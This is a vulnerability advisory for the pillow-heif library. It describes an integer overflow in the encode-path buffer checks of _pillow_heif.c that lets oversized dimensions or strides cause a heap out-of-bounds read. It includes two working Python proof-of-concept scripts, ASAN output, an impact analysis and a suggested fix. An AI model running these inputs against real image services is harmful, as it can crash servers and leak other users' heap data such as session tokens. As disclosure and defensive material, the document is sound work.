pillow-heif: Integer Overflow in Encode Path Buffer Validation Leads to Heap Out-of-Bounds Read

Summary

An integer overflow in the encode path buffer validation of _pillow_heif.c allows an attacker to bypass bounds checks by providing large image dimensions, resulting in a heap out-of-bounds read. This can lead to information disclosure (server heap memory leaking into encoded images) or denial of service (process crash). No special configuration is required — this triggers under default settings.

Details

The buffer validation in _CtxWriteImage_add_plane(), _CtxWriteImage_add_plane_la(), and _CtxWriteImage_add_plane_l() uses 32-bit int multiplication to check whether the input buffer is large enough:

// _pillow_heif.c, lines 158, 344, 449
if (stride_in * height > buffer.len) {
    PyBuffer_Release(&buffer);
    PyErr_SetString(PyExc_ValueError, "image plane does not contain enough data");
    return NULL;
}

Both stride_in and height are declared as int (32-bit signed). When their product exceeds INT_MAX (2,147,483,647), the multiplication overflows before the comparison with buffer.len (which is Py_ssize_t, 64-bit). The overflowed value wraps to zero or a negative number, causing the bounds check to pass incorrectly.

For example, with stride_in = 196608 (65536 × 3 for RGB) and height = 65536:

• True product: 12,884,901,888
• int32 product: 0 (wraps around)
• Comparison: 0 > buffer.len → false → check bypassed

After the check is bypassed, the subsequent loop reads beyond the input buffer:

for (int i = 0; i < height; i++)
    memcpy(out + stride_out * i, in + stride_in * i, real_stride);

Additionally, real_stride = width * n_channels (e.g., line 148: real_stride = width * 3) is also computed as int * int, which can independently overflow for large width values.

This vulnerability exists in the encode path, which is distinct from the decode path:

• The decode path is partially guarded by libheif's built-in security limits
• The encode path has no such guards — DISABLE_SECURITY_LIMITS is irrelevant
• The encode path is reachable whenever an application calls pillow_heif.encode() or saves an image via Pillow with format="HEIF" / format="AVIF"

Affected functions (all in _pillow_heif.c):

• _CtxWriteImage_add_plane() — line 158
• _CtxWriteImage_add_plane_la() — line 344
• _CtxWriteImage_add_plane_l() — line 449

CWE: CWE-190 (Integer Overflow or Wraparound) → CWE-125 (Out-of-bounds Read)

PoC

Prerequisites

pip install pillow-heif Pillow

For ASAN confirmation:

# macOS (Apple Clang)
CC="cc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

# Linux (GCC)
CC="gcc -fsanitize=address -fno-omit-frame-pointer -g" pip install --no-binary pillow-heif pillow-heif

Test 1: Crash without ASAN (process killed by SIGSEGV/SIGBUS)

import pillow_heif
from io import BytesIO

# width=32768, height=32768 => 1,073,741,824 pixels (within libheif security limit)
# stride_in = 32768 * 3 = 98304
# 98304 * 32768 = 3,221,225,472 > INT_MAX (2,147,483,647)
# int32 overflow: wraps to -1,073,741,824
# Bounds check: -1,073,741,824 > 1,048,576 → False → BYPASSED
width = 32768
height = 32768
buffer = b"\x00" * (1024 * 1024)  # 1 MB (real need: ~3 GB)

buf = BytesIO()
try:
    pillow_heif.encode("RGB", (width, height), buffer, buf, quality=-1)
    print("[!] encode() succeeded — bounds check was bypassed")
except MemoryError as e:
    print(f"[*] MemoryError (libheif caught it later): {e}")
    print("[*] int32 overflow occurred — C-level bounds check was bypassed")
except ValueError as e:
    print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes the process with exit code 138 (SIGBUS) or 139 (SIGSEGV).

Test 2: Explicit stride — small image, immediate crash

import pillow_heif
from io import BytesIO

# 100x100 pixels — well within any security limit
# stride=INT_MAX (2,147,483,647), height=100
# INT_MAX * 100 overflows int32 → small or negative value
# Bounds check bypassed, memcpy reads far beyond the 256-byte buffer
width = 100
height = 100
stride_val = 2_147_483_647
small_buffer = b"\x00" * 256

buf = BytesIO()
try:
    pillow_heif.encode("RGB", (width, height), small_buffer, buf,
                       quality=-1, stride=stride_val)
    print("[!] encode() succeeded — bounds check was bypassed")
except ValueError as e:
    print(f"[-] ValueError (bounds check worked): {e}")

Without ASAN, this crashes with exit code 139 (SIGSEGV).

ASAN confirmation

With an ASAN-enabled build of pillow-heif 1.2.1 on macOS (Apple Clang 17, arm64, Python 3.14), Test 1 produces:

==60070==ERROR: AddressSanitizer: negative-size-param: (size=-1073741824)
    #0 0x... in <deduplicated_symbol> (libclang_rt.asan_osx_dynamic.dylib)
    #1 0x... in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib)
    #2 0x... in _CtxWriteImage_add_plane+0x5bc (_pillow_heif.cpython-314-darwin.so)
    #3 0x... in method_vectorcall_VARARGS (libpython3.14.dylib)
    ...

0x... is located 32 bytes inside of 1048609-byte region [0x...,0x...)
allocated by thread T0 here:
    #0 0x... in malloc (libclang_rt.asan_osx_dynamic.dylib)
    ...

SUMMARY: AddressSanitizer: negative-size-param
  (_pillow_heif.cpython-314-darwin.so) in _CtxWriteImage_add_plane+0x5bc

The overflow in stride_in * height (98304 × 32768 = 3,221,225,472) wraps to -1,073,741,824 in 32-bit signed arithmetic. This negative value bypasses the bounds check and is passed directly to memcpy as the size parameter, causing an out-of-bounds read from the 1 MB input buffer.

Impact

Who is impacted: Any application that uses pillow-heif to encode images where the dimensions (width, height) can be influenced by external input. Common scenarios include:

• Image resize/conversion web APIs (e.g., thumbnail generation, format conversion endpoints)
• Content management systems that convert uploaded images to HEIF/AVIF
• Image processing pipelines that accept user-specified output dimensions

Information Disclosure (Heartbleed-like): The out-of-bounds read copies heap memory adjacent to the input buffer into the output image. If the encoded image is returned to the requester, it may contain fragments of:

• Other users' request data
• Python objects (strings, byte arrays)
• Session tokens, API keys, or other sensitive data from the server's heap

Denial of Service: When memcpy reaches unmapped memory pages, the process crashes with SIGSEGV. Repeated exploitation can take down all worker processes (gunicorn, uvicorn, etc.).

Suggested fix: Cast operands to Py_ssize_t before multiplication at all three locations:

// Before (vulnerable):
if (stride_in * height > buffer.len) {

// After (fixed):
if ((Py_ssize_t)stride_in * (Py_ssize_t)height > buffer.len) {

Prior art:

• CVE-2024-5197 (libvpx): integer overflow in vpx_img_alloc(), CVSS 7.5
• CVE-2024-5171 (libaom): integer overflow in aom_img_alloc(), CVSS 9.8